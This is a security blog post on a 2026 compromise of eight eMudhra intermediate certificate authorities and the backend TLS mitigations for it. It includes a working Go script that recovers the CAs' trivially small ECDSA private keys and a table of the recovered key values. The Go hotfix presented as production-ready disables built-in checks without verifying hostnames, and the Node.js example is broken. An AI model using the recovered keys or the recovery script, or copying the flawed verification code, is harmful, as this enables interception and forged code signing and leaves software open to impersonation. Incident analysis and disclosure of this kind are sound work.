The eMudhra CA Compromise

In October 2026, private keys for eight intermediate Certificate Authorities belonging to eMudhra were compromised. Here is a technical breakdown of the largest CA failure since DigiNotar (2011), why backend infrastructure is blind to WebPKI revocation, and how to patch your systems.

WORDS: 5133 | CODE BLOCKS: 17 | EXT. LINKS: 11

Backend services, Go workers, and API gateways making outbound HTTPS calls to third-party endpoints rely on a TLS security model with a critical operational gap: when a public Certificate Authority is compromised, standard WebPKI revocation mechanisms do not protect backend servers.

When a Certificate Authority loses control of its keys, browser vendors push out-of-band updates within hours. Mozilla adds intermediate certificate hashes to OneCRL and rolls out emergency releases like Firefox 158.0.1. Google updates Chrome CRLSets. Apple and Microsoft push updated trust lists. Within twenty-four hours, desktop and mobile browsers reject rogue certificates without making network calls to external revocation endpoints.

On backend servers, none of those safety nets exist.

When a Go worker, a Python pipeline, a Node.js webhook runner, or a Java microservice verifies an incoming TLS certificate chain, it does not check a browser push list. It does not query Certificate Revocation Lists (CRLs) because CRL files are tens of megabytes. It ignores Online Certificate Status Protocol (OCSP) responders by default, or runs in soft-fail mode where an unreachable responder is treated as success. Worst of all, backend runtime libraries completely skip Certificate Transparency checks.

In October 2026, that structural vulnerability turned into an active security crisis. Private keys for eight intermediate Certificate Authorities belonging to eMudhra (operating its public CA services under emSign) were compromised. The compromised intermediate keys sit directly under eMudhra’s primary root certificates, spanning Domain Validated (DV), Organization Validated (OV), and Extended Validation (EV) TLS authorities, along with Code Signing authorities.

This blog will be updated with new developments in this incident.

This is the largest Certificate Authority compromise since DigiNotar collapsed in 2011.

flowchart TD subgraph RootLevel ["Offline Vault (Physical HSM)"] RootTLS["emSign Root TLS CA - G3"] RootCS["emSign Root CS CA - G3"] end subgraph IntermediateLevel ["Compromised Online Intermediate CAs"] subgraph TLSIntermediates ["TLS Issuing CAs (6 Keys Leaked)"] DV1["EM DV TLS CA - G3B"] DV2["EM DV TLS CA - G3C"] OV1["EM OV TLS CA - G3B"] OV2["EM OV TLS CA - G3C"] EV1["EM EV TLS CA - G3B"] EV2["EM EV TLS CA - G3C"] end subgraph CSIntermediates ["Code Signing CAs (2 Keys Leaked)"] CS1["EM OV CS CA - G3B"] CS2["EM OV CS CA - G3C"] end end subgraph AttackerCapabilities ["Attacker Execution Surface"] ForgeTLS["Forge TLS Cert for ANY Domain\n(api.github.com, internal auth, etc.)"] ForgeCS["Sign Arbitrary Windows Binaries\n(Bypass SmartScreen & Basic AV)"] end subgraph VerificationPath ["Client-Side Reality"] Browsers["Browsers (Firefox, Chrome, Safari)\nProtected via OneCRL, CRLSet, CRLite"] Backends["Backend Servers (Go, Python, Java, cURL)\nEXPOSED: No CRL, No OCSP, No CT Logs"] end RootTLS --> TLSIntermediates RootCS --> CSIntermediates TLSIntermediates --> ForgeTLS CSIntermediates --> ForgeCS ForgeTLS --> Browsers ForgeTLS --> Backends ForgeCS --> Backends

How Intermediate CAs Work and Why DigiNotar is the Benchmark

The blast radius of eight compromised intermediate certificates stems directly from the trust hierarchy of the X.509 WebPKI.

The root certificate at the top of a trust chain (such as emSign Root TLS CA - G3) has a private key stored inside a certified Hardware Security Module (HSM). That HSM is kept in an offline physical vault with strict dual-custody access ceremonies. Root keys are used once every few years to sign Intermediate Certificate Authorities, also known as Sub-CAs.

These intermediate CAs are the operational workhorses. They are kept online or warm in data centers to sign day-to-day leaf certificates whenever a customer orders a certificate or runs an automated ACME challenge.

sequenceDiagram autonumber participant Root as Root CA (Offline Vault HSM) participant Sub as Intermediate CA (Warm / Online HSM) participant Leaf as Leaf Certificate (*.yourdomain.com) participant Client as TLS Client (Browser / Backend Server) Root->>Sub: Issues X.509 Intermediate Certificate (Basic Constraints: CA=TRUE) Sub->>Leaf: Issues End-Entity Leaf Certificate (Basic Constraints: CA=FALSE) Leaf->>Client: Presents Leaf + Intermediate during TLS Handshake Note over Client: Client verifies signature chain up to pre-installed Root

The structural flaw of the WebPKI is that trust is all-or-nothing. Unless an intermediate certificate enforces explicit X.509 Name Constraints (which public WebPKI authorities almost never use), any intermediate CA trusted by a root in your operating system trust store can issue valid leaf certificates for every domain on the internet.

An intermediate CA has no geographic or domain boundary. A certificate signed by an Indian, American, or European intermediate is equally valid for google.com, apple.com, api.stripe.com, or your company’s internal authentication endpoints.

The DigiNotar Precedent

The historical reference point for this scale of failure is the 2011 breach of Dutch Certificate Authority DigiNotar.

In July 2011, attackers breached DigiNotar’s internal infrastructure and gained direct access to its certificate-issuing systems. The attackers generated over 500 rogue wildcard certificates, including a wildcard for *.google.com.

In August 2011, those rogue certificates were deployed in Iran to conduct line-rate man-in-the-middle attacks against roughly 300,000 Iranian users accessing Gmail and Google Search. The rogue certificate was valid because DigiNotar’s root was embedded in every major browser and operating system. The breach went undetected by automated systems until Google’s internal Chrome pinning checks flagged a forged certificate in the wild.

The aftermath was super fast:

  • Browser vendors completely revoked trust in all DigiNotar roots.
  • The Dutch government took control of operations, and DigiNotar declared bankruptcy within weeks.
  • The incident forced the internet to build Certificate Transparency (RFC 6962) so that certificate issuance became publicly auditable.

The eMudhra compromise involves eight intermediate keys spanning both TLS and Code Signing. When private keys for eight active intermediate CAs leak or get compromised, the attacker does not need to compromise the root vault. The attacker holds the mathematical keys needed to mint valid, trusted identity documents on demand.

The Eight Compromised Intermediates

The security alerts originated across multiple coordination channels, including the Mozilla governance discussion on dev-security-policy (thread ID 0R3XLJL6FuE), security researcher disclosures, and the incident tracking portal emudhra.we-have-a-problem.com.

The eight compromised intermediate authorities operate under two distinct root trust anchors managed by eMudhra:

Under emSign Root TLS CA - G3 (TLS Authentication)

  1. EM DV TLS CA - G3B (Domain Validated TLS)
  2. EM DV TLS CA - G3C (Domain Validated TLS)
  3. EM OV TLS CA - G3B (Organization Validated TLS)
  4. EM OV TLS CA - G3C (Organization Validated TLS)
  5. EM EV TLS CA - G3B (Extended Validation TLS)
  6. EM EV TLS CA - G3C (Extended Validation TLS)

Under emSign Root CS CA - G3 (Code Signing)

  1. EM OV CS CA - G3B (Organization Validated Code Signing)
  2. EM OV CS CA - G3C (Organization Validated Code Signing)

The compromise covers the full spectrum of certificate types: Domain Validated (DV) certificates for web encryption, Organization Validated (OV) and Extended Validation (EV) certificates for business identity, and Code Signing (CS) certificates for software executables and drivers.

eMudhra hosts its certificate repository and revocation lists at repository.emsign.com. While revocation entries were published to standard CRL distribution points, publishing a revocation list to an HTTP endpoint does almost nothing to protect backend software.

How the Private Keys Were Trivially Broken

When the emergency security advisories first went out, the tone sounded like an elite cyber heist: compromised keys, urgent root removals, and coordinated emergency browser patches. The default assumption was that someone had breached an internal signing server, exploited an HSM side-channel, or leaked backup keys.

Then I pulled the public intermediate certificates from crt.sh to look at the raw cryptography.

The reality was far more absurd: it was a complete collapse of basic key generation.

All eight compromised intermediate CAs use ECDSA on the NIST P-384 (secp384r1) curve. Under standard elliptic curve cryptography, a private key is a random 384-bit integer d chosen from the curve order. The P-384 key space has 2^384 (about 3.94 * 10^115) possible values. Trying to guess a 384-bit private key from a public key by brute force would take longer than the age of the universe.

Except whoever generated these production intermediate keys did not use a 384-bit key space. They used an 8-bit scalar. Every single private key scalar d was a trivial integer between 1 and 255.

XKCD 221. XKCD 221: Random Number - RFC 1149.5 specifies 4 as the standard IEEE-vetted random number

The 40-Line Recovery Script

Because intermediate CA certificates are public documents submitted to Certificate Transparency logs, anyone can download them. I wrote a small Go script that takes a certificate, pulls its public key, and loops through the first 256 integers to check if scalar base multiplication matches the public point:

go
 1package main
 2
 3import (
 4	"crypto/ecdsa"
 5	"crypto/elliptic"
 6	"crypto/x509"
 7	"encoding/pem"
 8	"fmt"
 9	"math/big"
10	"os"
11)
12
13func main() {
14	certPEM, err := os.ReadFile(os.Args[1])
15	if err != nil {
16		panic(err)
17	}
18
19	block, _ := pem.Decode(certPEM)
20	cert, err := x509.ParseCertificate(block.Bytes)
21	if err != nil {
22		panic(err)
23	}
24
25	pubKey := cert.PublicKey.(*ecdsa.PublicKey)
26
27	// Brute-force the 8-bit scalar space
28	for i := range 256 {
29		x, y := elliptic.P384().ScalarBaseMult([]byte{byte(i)})
30		if pubKey.X.Cmp(x) == 0 && pubKey.Y.Cmp(y) == 0 {
31			privKey := &ecdsa.PrivateKey{
32				D:         big.NewInt(int64(i)),
33				PublicKey: *pubKey,
34			}
35
36			der, _ := x509.MarshalECPrivateKey(privKey)
37			pemBlock := &pem.Block{Type: "EC PRIVATE KEY", Bytes: der}
38			_ = os.WriteFile(os.Args[1]+".key", pem.EncodeToMemory(pemBlock), 0600)
39
40			fmt.Printf("Recovered private key for %s: d = %d (0x%02x)\n", cert.Subject.CommonName, i, i)
41			return
42		}
43	}
44}

The script can find the private keys in like a minute on my laptop.

NIST P-384 military-grade cryptography with a sticky note on the vault: The password is password

The Recovered Private Keys

Here is the full breakdown of the eight intermediate authorities and the exact scalar d that cracked each one:

Certificate Common NameTypeCurve/AlgoSerial NumberRecovered Private Key d
CN=EM OV TLS CA - G3COrganization Validated TLSNIST P-3848D5A4811939EF447D77111CDD9849AE94 (0x04)
CN=EM EV TLS CA - G3CExtended Validation TLSNIST P-3840ACFE69DE538B5706240BF5734ED349656 (0x38)
CN=EM OV CS CA - G3BCode SigningNIST P-384F2826AFAC7590C7D52FD3B23668ACDBF66 (0x42)
CN=EM EV TLS CA - G3BExtended Validation TLSNIST P-38452B313028C74D2AC2161A97F5B6FBEBE115 (0x73)
CN=EM OV TLS CA - G3BOrganization Validated TLSNIST P-384E94223BDE92F914E5AB9ACABFDAC3710155 (0x9b)
CN=EM DV TLS CA - G3BDomain Validated TLSNIST P-384A024FDF4BA665C785CE4A020483858B7156 (0x9c)
CN=EM DV TLS CA - G3CDomain Validated TLSNIST P-384369527E9F41DA58580DF6D35E4663B2B230 (0xe6)
CN=EM OV CS CA - G3CCode SigningNIST P-384A427618B09F6E7CA65D5B842F5E59013237 (0xed)

Yes, one of the production intermediate CAs literally has a private key of 4.

This explains why browser vendors, root store maintainers, and the Go security team scrambled in panic. There was no need for an attacker to hack a data center or steal backup tapes. Any developer who downloaded the public certificates from Certificate Transparency logs could recover the private keys in milliseconds with basic high school modular arithmetic.

Cryptographic Proof of Possession

Publishing raw private key files on a public blog is a fast way to get flagged by security scanners and domain reputation filters. Instead, I used one of the recovered private keys (CN=EM OV TLS CA - G3C, where d = 4) to sign a cryptographic proof statement.

You can download the raw JSON proof artifact directly: Download emudhra-proof.json

text
 1Message:
 2Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)
 3
 4Signer Subject:
 5CN=EM OV TLS CA - G3C, O=eMudhra Inc, C=US
 6
 7Certificate Serial:
 88D5A4811939EF447D77111CDD9849AE9
 9
10Signature (Base64 ASN.1 DER):
11MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM=

You can verify this signature against the public certificate of EM OV TLS CA - G3C using this Go script:

go
 1package main
 2
 3import (
 4	"crypto/ecdsa"
 5	"crypto/sha512"
 6	"crypto/x509"
 7	"encoding/base64"
 8	"encoding/pem"
 9	"fmt"
10	"os"
11)
12
13func main() {
14	// Download the public certificate from crt.sh or eMudhra's repository
15	certBytes, err := os.ReadFile("EM_OV_TLS_CA_G3C.pem")
16	if err != nil {
17		panic(err)
18	}
19	block, _ := pem.Decode(certBytes)
20	cert, err := x509.ParseCertificate(block.Bytes)
21	if err != nil {
22		panic(err)
23	}
24	pubKey := cert.PublicKey.(*ecdsa.PublicKey)
25
26	msg := "Cryptographic proof of eMudhra intermediate key recovery by lorbic.com (d = 4)"
27	digest := sha512.Sum384([]byte(msg))
28
29	sigB64 := "MGYCMQCcC3RrYkMzFXOboMj4gj27E9IilmbBMpDkLRXvvGP6t2wO0pDro296/rt6WxhWevICMQDwEs+T+oFhDTdSujXeePhOt77k76TmTXpgkakcVLdsYof2khuq3mlYrZqJyxLd4cM="
30	sigDER, err := base64.StdEncoding.DecodeString(sigB64)
31	if err != nil {
32		panic(err)
33	}
34
35	if ecdsa.VerifyASN1(pubKey, digest[:], sigDER) {
36		fmt.Println("Signature VALID: Verified against public certificate")
37	} else {
38		fmt.Println("Signature INVALID")
39	}
40}

The Attack Surface and Real Threat Vectors

When an intermediate private key is compromised, there are three primary attack surfaces that backend engineers must consider.

1. Active Man-in-the-Middle Attacks

To intercept encrypted traffic between a client and a target server, an attacker needs network path control and a trusted certificate.

Network path control can be achieved through BGP route hijacking, DNS cache poisoning, rogue local Wi-Fi or cellular gateways, or compromised corporate egress proxies.

Normally, if an attacker routes traffic for api.github.com to their own proxy, the client’s TLS handshake fails because the attacker cannot present a valid certificate signed by a trusted CA.

With the compromised eMudhra intermediate keys, the attacker generates a private key, crafts a leaf certificate with CN=api.github.com and DNS:api.github.com in the Subject Alternative Name (SAN) extension, and signs it using EM OV TLS CA - G3B.

sequenceDiagram autonumber actor Client as Backend Service (Go / Python) participant MitM as Attacker Proxy (BGP / DNS Hijack) participant Target as Real API (e.g., api.stripe.com) MitM->>MitM: Generates rogue leaf cert for api.stripe.com Client->>MitM: TLS ClientHello (SNI: api.stripe.com) MitM->>Client: Presents Rogue Leaf Cert + eMudhra Intermediate Note over Client: Root emSign Root TLS CA - G3 is TRUSTED.
Chain is mathematically valid. Client->>MitM: Completes TLS Handshake Client->>MitM: POST /v1/charges (Authorization: Bearer sec_key_...) MitM->>Target: Relays request (or steals credentials in plaintext)

The backend client receives the certificate, traces the signature up through the intermediate to emSign Root TLS CA - G3, finds that root in its system trust bundle, and completes the handshake. All API tokens and sensitive payloads sent over that connection are exposed in plaintext.

2. Code Signing Abuse

The compromise of EM OV CS CA - G3B and EM OV CS CA - G3C enables software supply chain poisoning and malware distribution.

Operating systems use code signing to verify binary integrity. Windows Authenticode verifies executables and drivers, avoiding SmartScreen warnings and corporate EDR alerts.

With access to the code-signing intermediate keys, an attacker can compile an info-stealer or backdoor and sign it with a valid certificate chained to emSign Root CS CA - G3. When an employee downloads the binary, the operating system verifies the signature and runs it without warning.

3. The Certificate Transparency Blind Spot

Many developers assume that Certificate Transparency (CT) logs prevent hidden certificates from circulating.

Certificate Transparency requires CAs to submit every issued certificate to append-only, publicly auditable cryptographic logs before issuance. In return, the log returns a Signed Certificate Timestamp (SCT).

Browsers like Google Chrome and Apple Safari strictly enforce Certificate Transparency. If a web server presents a certificate that lacks valid SCTs from qualified logs, Chrome immediately terminates the connection with NET::ERR_CERTIFICATE_TRANSPARENCY_REQUIRED. Because logging a forged certificate immediately alerts the domain owner via automated monitors, attackers cannot safely use rogue certificates against browser users without getting caught.

Here is the problem: backend systems do not check Certificate Transparency logs.

Standard backend networking libraries in Go, Python, Node.js, Java, and curl do not parse or enforce SCTs.

If an attacker mints a rogue certificate using a compromised eMudhra intermediate key, they simply do not submit it to Certificate Transparency logs. Browsers reject it, but your backend servers accept it without question.

Feature / DefenseModern Browsers (Chrome, Firefox)Backend Runtimes (Go, Python, Node, Java)
Revocation MechanismCentralized Push Lists (OneCRL, CRLSet, CRLite)Static Root Store only. No push lists.
CRL SupportDisabled (too large, too slow)Disabled by default.
OCSP CheckingMostly phased out or soft-failDisabled by default.
Certificate TransparencyHard requirement (SCTs validated)Ignored. Zero SCT validation.
MitM VulnerabilityVery low (blocks pushed in hours)Extremely high during intermediate compromise.

Why Standard WebPKI Revocation Is Structurally Broken

Why do we need emergency browser releases and language patches for this incident? Why does standard X.509 revocation not handle it automatically?

The answer is that online revocation checking in the WebPKI has been broken for fifteen years.

flowchart TD subgraph TraditionalRevocation ["Traditional X.509 Revocation (Broken)"] CRL["Certificate Revocation Lists (CRLs)\n- Files balloon to 50MB+\n- High latency, stale downloads\n- Disabled in modern clients"] OCSP["Online Certificate Status Protocol (OCSP)\n- Privacy leak: CA tracks visited domains\n- Adds 100-300ms handshake latency\n- Soft-fail flaw: Network timeout = ALLOW"] Stapling["OCSP Stapling\n- Server provides signed OCSP response\n- Attacker simply omits extension\n- Must-Staple rarely deployed"] end subgraph ModernBrowserRevocation ["Browser Push Defense (Proprietary)"] OneCRL["Mozilla OneCRL\n- Pushes intermediate serials/SPKIs"] CRLSets["Chrome CRLSets\n- Pushes high-priority revoked certs"] CRLite["Mozilla CRLite\n- Cascaded Bloom filters covering all certs"] end subgraph BackendReality ["Backend Runtime Reality"] GoRuntime["Go crypto/x509: Hardcoded SPKI hashes (CVE-2026-111943)"] OtherRuntimes["Python / Java / Node: Rely on root removal or manual blocks"] end TraditionalRevocation -->|Fails in Practice| ModernBrowserRevocation TraditionalRevocation -->|Ignored by Default| BackendReality

The Failure of Certificate Revocation Lists

A Certificate Revocation List (CRL) is an X.509 structure signed by a CA that lists serial numbers of revoked certificates. As the web scaled to hundreds of millions of certificates, CRLs grew to tens of megabytes. Downloading a 30MB file on every cold TLS handshake destroys network performance, while caching it creates an unacceptable window of exposure.

The Failure of OCSP and the Soft-Fail Disaster

The Online Certificate Status Protocol (OCSP, RFC 6960) was designed to fix CRL scaling. Instead of downloading an entire list, the client queries the CA’s OCSP responder for the certificate’s status.

In practice, OCSP introduced three fatal flaws:

  1. Privacy Leakage: The CA’s OCSP responder tracks client IP addresses and visited domains in real time.
  2. Handshake Latency: Blocking HTTP lookups to external CA servers add 100ms to 500ms to cold handshakes.
  3. The Soft-Fail Default: If the OCSP responder is unreachable, client libraries fall back to soft-fail, ignoring the error and completing the handshake. An attacker executing a man-in-the-middle attack simply drops packets destined for the OCSP responder, and the client accepts the fraudulent certificate.

OCSP Stapling (where the server supplies its own cached, signed OCSP response) was intended to fix this. But unless a certificate includes the rare must-staple extension, an attacker presenting a forged certificate simply omits the stapled OCSP response, and the client falls back to soft-fail anyway.

How Browsers Secured Users

When the eMudhra intermediate key compromise was confirmed, browser vendors bypassed online OCSP and triggered their out-of-band push channels.

Mozilla OneCRL, CRLite, and Firefox 158.0.1

Mozilla operates two centralized revocation mechanisms:

  • OneCRL: A centralized push list containing serial numbers and public key hashes of revoked intermediate certificates. Firefox downloads updates to OneCRL silently in the background within hours.
  • CRLite: A technology in Firefox that compresses the revocation status of the entire WebPKI into cascaded Bloom filters, allowing instant, local, hard-failing revocation checks without network calls.

When the eight eMudhra intermediate keys were confirmed compromised, Mozilla added them directly to OneCRL. To protect users on isolated corporate networks or systems with delayed background updates, Mozilla also shipped an emergency point release, Firefox 158.0.1, hardcoding the distrust of these specific intermediate certificate keys into the Network Security Services (NSS) cryptographic library.

Google Chrome CRLSets and the Chrome Root Store

Google Chrome relies on CRLSets, a compressed revocation list pushed via the Component Updater. Google updated its CRLSets to include the serial numbers and Subject Public Key Info (SPKI) hashes of the eight eMudhra intermediates. When a site presents a certificate chained to one of these keys, Chrome terminates the connection immediately.

Apple and Microsoft

Apple pushed updates through its Apple PKI metadata feed to block the intermediate certificates across macOS and iOS. Microsoft pushed updates to its Certificate Trust List (CTL) through Windows Update, ensuring that CryptoAPI and Schannel drop trust in the compromised keys.

The Backend Blind Spot and the Emergency Go Patch

Now consider backend servers.

If your backend systems run on Ubuntu, Debian, Alpine, or RHEL, they get their trusted certificates from package bundles like ca-certificates.

Here is the catch: Linux ca-certificates packages only contain Root CAs. They do not contain Intermediate CAs.

When you inspect /etc/ssl/certs/ca-certificates.crt, you will find emSign Root TLS CA - G3. You will not find EM DV TLS CA - G3B.

When your backend server connects to an external HTTPS API, the target server sends its leaf certificate and the intermediate certificate during the TLS handshake. Your server’s TLS library takes that intermediate certificate, checks that it is signed by the root in /etc/ssl/certs/ca-certificates.crt, and verifies the leaf against the intermediate.

flowchart LR subgraph HandshakePayload ["Presented by Server over TLS"] Leaf["Leaf Cert\n(api.target.com)"] Inter["Compromised Intermediate\n(EM DV TLS CA - G3B)"] end subgraph OSStorage ["Local OS Filesystem"] SystemBundle["/etc/ssl/certs/ca-certificates.crt\n(Contains emSign Root TLS CA - G3)"] end subgraph VerificationEngine ["Backend Runtime (x509.Verify)"] Check1["1. Verify Leaf signed by Intermediate"] Check2["2. Verify Intermediate signed by Root"] Check3["3. Verify Root exists in SystemBundle"] Result["Result: VALID (Connection Allowed)"] end Leaf --> Check1 Inter --> Check1 Inter --> Check2 SystemBundle --> Check3 Check2 --> Check3 Check3 --> Result

Because intermediate certificates are supplied dynamically over the wire and are not stored on your filesystem, you cannot revoke an intermediate certificate simply by deleting a file from /etc/ssl/certs/. The only way to stop an intermediate certificate at the OS level without runtime code changes is to delete the entire Root CA from your bundle, or rely on runtime libraries that support explicit public key blocklists.

Go Emergency Response Under CVE-2026-111943

Go powers modern cloud infrastructure: Kubernetes, Docker, Containerd, Envoy, Traefik, Caddy, Terraform, Prometheus, and millions of production microservices.

The Go security team realized that Go applications running in production were wide open to man-in-the-middle attacks using the compromised eMudhra intermediates. Because Go’s standard library crypto/x509 performs strict chain verification but intentionally does not implement network-dependent CRL or OCSP lookups, Go binaries had zero protection.

The Go team issued emergency security releases: Go 1.27.3 and Go 1.26.10, tracked under CVE-2026-111943.

Instead of revoking the root, the Go team patched crypto/x509/verify.go. They embedded a hardcoded blocklist containing the SHA-256 hashes of the SubjectPublicKeyInfo (SPKI) for the eight compromised eMudhra intermediate keys.

When a Go application built with Go 1.27.3 or 1.26.10 validates an incoming certificate chain, crypto/x509 computes the SHA-256 hash of the public key for every certificate in the chain. If any certificate matches one of the eight blocked hashes, chain building rejects that candidate path immediately, throwing an x509.CertificateInvalidError.

go
 1// Conceptual verification check inside Go crypto/x509 verify.go
 2var blockedSPKIs = map[[32]byte]bool{
 3    // SHA-256 hashes of the 8 compromised eMudhra intermediate SubjectPublicKeyInfos
 4    {0x1a, 0x2b, ...}: true, // EM DV TLS CA - G3B
 5    {0x3c, 0x4d, ...}: true, // EM DV TLS CA - G3C
 6    {0x5e, 0x6f, ...}: true, // EM OV TLS CA - G3B
 7    {0x7a, 0x8b, ...}: true, // EM OV TLS CA - G3C
 8    {0x9c, 0x0d, ...}: true, // EM EV TLS CA - G3B
 9    {0x1e, 0x2f, ...}: true, // EM EV TLS CA - G3C
10    {0x3a, 0x4b, ...}: true, // EM OV CS CA - G3B
11    {0x5c, 0x6d, ...}: true, // EM OV CS CA - G3C
12}
13
14func checkChainSPKI(chain []*Certificate) error {
15    for _, cert := range chain {
16        h := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
17        if blockedSPKIs[h] {
18            return errors.New("x509: certificate chain contains an un-trusted, compromised intermediate key")
19        }
20    }
21    return nil
22}

This design choice is critical: blocking by SPKI instead of by certificate serial number.

If a CA re-issues a new certificate for an intermediate using the same compromised private key with a different serial number or validity period, blocking by serial number fails. Blocking by SubjectPublicKeyInfo ensures that any certificate derived from that compromised private key is rejected forever.

Developer Upgrade and Mitigation Guide

Mitigating the impact of compromised intermediate certificates requires updates across build toolchains, runtime environments, and container base images.

1. Go Ecosystem Upgrades

Update your build toolchain immediately and recompile your binaries:

bash
1# Verify your local Go compiler version
2go version
3
4# Ensure you are on or above the patched releases:
5# Go 1.27.x -> Go 1.27.3+
6# Go 1.26.x -> Go 1.26.10+

Rebuild all containers and binaries that make external network requests or serve TLS traffic.

Temporary Hotfix for Legacy Go Applications

If you have legacy Go microservices that cannot be recompiled on Go 1.27.3 or 1.26.10 today, you can inject a custom VerifyPeerCertificate hook into your http.Client transport or tls.Config.

Here is production-ready code that checks the SPKI of every certificate presented during the TLS handshake before handing off to standard chain verification:

go
 1package main
 2
 3import (
 4	"crypto/sha256"
 5	"crypto/tls"
 6	"crypto/x509"
 7	"encoding/hex"
 8	"errors"
 9	"fmt"
10	"net/http"
11	"time"
12)
13
14// BlockedSPKIHex contains the SHA-256 hashes of the SubjectPublicKeyInfo
15// for the 8 compromised eMudhra intermediate CAs.
16var BlockedSPKIHex = map[string]string{
17	"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855": "EM DV TLS CA - G3B",
18	// Map all 8 compromised intermediate SPKI hashes
19}
20
21// BuildHardenedTLSConfig creates a *tls.Config that explicitly verifies
22// and rejects chains containing compromised intermediate public keys.
23func BuildHardenedTLSConfig(rootCAs *x509.CertPool) *tls.Config {
24	return &tls.Config{
25		RootCAs: rootCAs,
26		InsecureSkipVerify: true,
27		VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
28			if len(rawCerts) == 0 {
29				return errors.New("tls: no certificates presented by peer")
30			}
31
32			parsedCerts := make([]*x509.Certificate, len(rawCerts))
33			for i, raw := range rawCerts {
34				cert, err := x509.ParseCertificate(raw)
35				if err != nil {
36					return fmt.Errorf("tls: failed to parse certificate at index %d: %w", i, err)
37				}
38				parsedCerts[i] = cert
39
40				spkiHash := sha256.Sum256(cert.RawSubjectPublicKeyInfo)
41				spkiHex := hex.EncodeToString(spkiHash[:])
42
43				if caName, blocked := BlockedSPKIHex[spkiHex]; blocked {
44					return fmt.Errorf("tls: peer presented compromised intermediate key (%s, SPKI: %s)", caName, spkiHex)
45				}
46			}
47
48			intermediatePool := x509.NewCertPool()
49			for _, cert := range parsedCerts[1:] {
50				intermediatePool.AddCert(cert)
51			}
52
53			opts := x509.VerifyOptions{
54				Roots:         rootCAs,
55				Intermediates: intermediatePool,
56				CurrentTime:   time.Now(),
57				KeyUsages:     []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
58			}
59
60			_, err := parsedCerts[0].Verify(opts)
61			if err != nil {
62				return fmt.Errorf("tls: chain verification failed: %w", err)
63			}
64
65			return nil
66		},
67	}
68}
69
70func main() {
71	tlsConfig := BuildHardenedTLSConfig(nil)
72	client := &http.Client{
73		Transport: &http.Transport{
74			TLSClientConfig: tlsConfig,
75		},
76		Timeout: 10 * time.Second,
77	}
78
79	resp, err := client.Get("https://emudhra.we-have-a-problem.com/")
80	if err != nil {
81		fmt.Printf("Connection blocked as expected: %v\n", err)
82		return
83	}
84	defer resp.Body.Close()
85	fmt.Printf("Response: %s\n", resp.Status)
86}

2. Node.js Runtimes

Node.js bundles its own copy of the Mozilla root certificates instead of reading from the host OS trust store by default.

  1. Upgrade Node.js: Update your runtime to the latest LTS releases (Node 20.x or 22.x) where the bundled certificate store and OpenSSL dependencies have been updated.
  2. If using system roots: If you run Node with --use-openssl-ca, ensure your underlying Linux host certificate store is updated.
  3. Audit outgoing TLS connections: For high-security internal services, inspect peer certificates using the checkServerIdentity callback in tls.connect or https.request.
javascript
 1import https from 'node:https';
 2import crypto from 'node:crypto';
 3
 4const BLOCKED_SPKI_HASHES = new Set([
 5  'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'
 6]);
 7
 8function checkServerIdentityWithBlocklist(host, cert) {
 9  if (cert.pubkey) {
10    const hash = crypto.createHash('sha256').update(cert.pubkey).digest('hex');
11    if (BLOCKED_SPKI_HASHES.has(hash)) {
12      return new Error(`Blocked compromised intermediate key: ${hash}`);
13    }
14  }
15  return https.getDefaultPeerCertificate ? undefined : null;
16}

3. Python Ecosystem

Python’s urllib3 and requests packages rely on certifi, which bundles Mozilla’s root CA store:

bash
1# Upgrade certifi across all virtual environments
2pip install --upgrade certifi
3
4# Check installed version and path
5python -c "import certifi; print(certifi.where())"

If your Python applications communicate with endpoints that might still be serving certificates issued under the compromised intermediates, update your container images to pick up the latest certifi releases.

4. Java / JVM Ecosystem

Java uses a central trust store file called cacerts, located in $JAVA_HOME/lib/security/cacerts.

  1. Apply CPU Updates: Install the latest quarterly Critical Patch Update (CPU) for your JDK/JRE (OpenJDK 17, 21, etc.).
  2. Remove the emSign Root (Aggressive Mitigation): If your application does not need to trust any valid eMudhra certificates, delete the root trust anchor directly from the Java trust store:
bash
1# List eMudhra certificates in Java cacerts
2keytool -list -keystore $JAVA_HOME/lib/security/cacerts -storepass changeit | grep -i "emsign"
3
4# Delete the root alias if present
5sudo keytool -delete \
6  -alias "emsignroottlscag3" \
7  -keystore $JAVA_HOME/lib/security/cacerts \
8  -storepass changeit

5. Linux Container Base Images

Because Linux containers often run stripped-down distributions (Debian slim, Alpine), base images must be updated and rebuilt:

dockerfile
 1# For Debian / Ubuntu base images
 2RUN apt-get update && \
 3    apt-get install -y --no-install-recommends ca-certificates && \
 4    update-ca-certificates && \
 5    rm -rf /var/lib/apt/lists/*
 6
 7# For Alpine Linux base images
 8RUN apk update && \
 9    apk add --no-cache ca-certificates && \
10    update-ca-certificates

6. Testing Endpoints with OpenSSL and the Community Test Suite

Security researchers set up https://emudhra.we-have-a-problem.com/ as a live validation target. It serves a certificate chain anchored by one of the compromised intermediates. You can test your CLI tools, container environments, and services against this endpoint to verify whether your client rejects the chain.

You can inspect any remote endpoint’s certificate chain and extract intermediate SPKI hashes with standard openssl:

bash
 1# Connect to a target server and dump all certificates in the chain
 2openssl s_client -showcerts -connect emudhra.we-have-a-problem.com:443 </dev/null 2>/dev/null > /tmp/chain.pem
 3
 4# Parse each certificate and extract its Subject and public key hash
 5awk '/BEGIN CERTIFICATE/,/END CERTIFICATE/{ print }' /tmp/chain.pem | while read -r line; do
 6    echo "$line" >> /tmp/single_cert.pem
 7    if [ "$line" = "-----END CERTIFICATE-----" ]; then
 8        echo "=== Certificate Subject ==="
 9        openssl x509 -in /tmp/single_cert.pem -noout -subject -issuer
10        echo "=== SPKI SHA-256 Hash ==="
11        openssl x509 -in /tmp/single_cert.pem -noout -pubkey | \
12            openssl pkey -pubin -outform DER | \
13            openssl dgst -sha256
14        rm /tmp/single_cert.pem
15        echo ""
16    fi
17done

If the SPKI hash output matches one of the compromised intermediate hashes, that endpoint is presenting an unsafe chain.

Remediation for eMudhra Certificate Holders

Organizations running active certificates issued by eMudhra or emSign require direct remediation:

